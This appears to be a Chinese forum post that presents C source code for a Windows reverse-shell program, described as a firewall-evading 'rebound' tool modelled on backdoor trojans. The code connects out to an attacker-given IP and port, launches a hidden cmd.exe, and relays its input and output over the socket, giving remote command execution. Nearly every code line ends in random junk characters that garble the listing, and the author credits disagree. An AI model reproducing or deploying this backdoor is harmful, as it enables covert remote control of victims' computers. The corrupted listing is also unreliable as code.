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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }}rp/16  
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/* ============================== O~?d;.b  
Rebound port in Windows NT zTPNQ0=|  
By wind,2006/7 P0sAq7"  
===============================*/ .r-Zz3  
#include "j_cI-@6  
#include ZzQLbCV  
ZCBF&.!  
#pragma comment(lib,"wsock32.lib") !&.-{ _$  
i6P$>8jBQ-  
void OutputShell(); 3xdJ<Lrq  
SOCKET sClient; Q W c^}#!!  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; QUZ+#*:s  
\hEIQjfi  
void main(int argc,char **argv) z yp3 +|  
{ iweT @P`  
WSADATA stWsaData; A>mk0P)~Q  
int nRet; G^.tAO5:f  
SOCKADDR_IN stSaiClient,stSaiServer; >lyE@S sA  
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if(argc != 3) 8<ev5af  
{ yc`3)  
printf("Useage:\n\rRebound DestIP DestPort\n"); 'qG-)2 t  
return; ox\D04:M  
} o=Mm=;H  
D dCcsYm,  
WSAStartup(MAKEWORD(2,2),&stWsaData); *XYp~b  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .LnknjC  
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stSaiClient.sin_family = AF_INET; =}I=s@  
stSaiClient.sin_port = htons(0); QoxQ"r9Wh  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^K4?uABc  
>vYb'%02  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9:=:P>  
{ ;R<V-gab  
printf("Bind Socket Failed!\n"); ,!PV0(F(  
return; .wlKl[lE2  
} f87XE";:A  
s%>8y\MaK  
stSaiServer.sin_family = AF_INET; bR:hu}YS  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); O 9M?Wk :  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); DWCf+4  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {9Ok^O  
{ Mc(|+S@w'  
printf("Connect Error!"); PRFl%M.H`  
return; wuk\__f4  
} 6V@_?a-K  
OutputShell(); @6aJh< c  
} <$a-.C5  
T5I#7LN#  
void OutputShell() a<E9@  
{ P3Vh|<'7  
char szBuff[1024]; -yBj7F|  
SECURITY_ATTRIBUTES stSecurityAttributes; ^-|~c`&}B  
OSVERSIONINFO stOsversionInfo; ^|hVFM2  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8$Zwk7 w8A  
STARTUPINFO stStartupInfo; m~P30)  
char *szShell; F?cwIE\J  
PROCESS_INFORMATION stProcessInformation; =*zde0T?l  
unsigned long lBytesRead; Q7d@+C  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); s aHY9{)  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); kd]CV7(7  
stSecurityAttributes.lpSecurityDescriptor = 0; EgbH{)u  
stSecurityAttributes.bInheritHandle = TRUE; 7fSNF7/+  
0L,!o[L*  
XJy.xI>;  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @t*D<B$  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ukc 7Z OQ  
Tow!5VAM  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~_F;>N~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T (]*jaB  
stStartupInfo.wShowWindow = SW_HIDE; I_N:j,Mx  
stStartupInfo.hStdInput = hReadPipe; R?2HnJh  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4PkKL/E  
Q 8;JvCz   
GetVersionEx(&stOsversionInfo); Dfc% jWbA  
2+C:Em0yI  
switch(stOsversionInfo.dwPlatformId) gX(Xj@=(&  
{ 0M&~;`W}  
case 1: 19pFNg'kA  
szShell = "command.com"; gN7 3)uJ0  
break; D`'Cnt/  
default: qK2jJ3)>  
szShell = "cmd.exe"; YU)%-V\  
break; G]EI!-y  
} 0S'@(p[A  
sX3qrRY  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); L$+_  
;O{bF8 U  
send(sClient,szMsg,77,0); ~ISY( &  
while(1) :xbj& l  
{ =YfzB!ld  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j(K)CHH  
if(lBytesRead) (\r^ 0>H  
{ /0fHkj/J=B  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); L%<]gJtrO  
send(sClient,szBuff,lBytesRead,0); ZJF+./vN  
} mE>{K  
else Tr|PR t  
{ HVhd#Q;  
lBytesRead=recv(sClient,szBuff,1024,0); GRVF/hPn  
if(lBytesRead<=0) break; BSB&zp  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); q bCU&G|)  
} G`Z<a  
} PlK3;  
7zA+UWr  
return; mO(Y>|mm  
}
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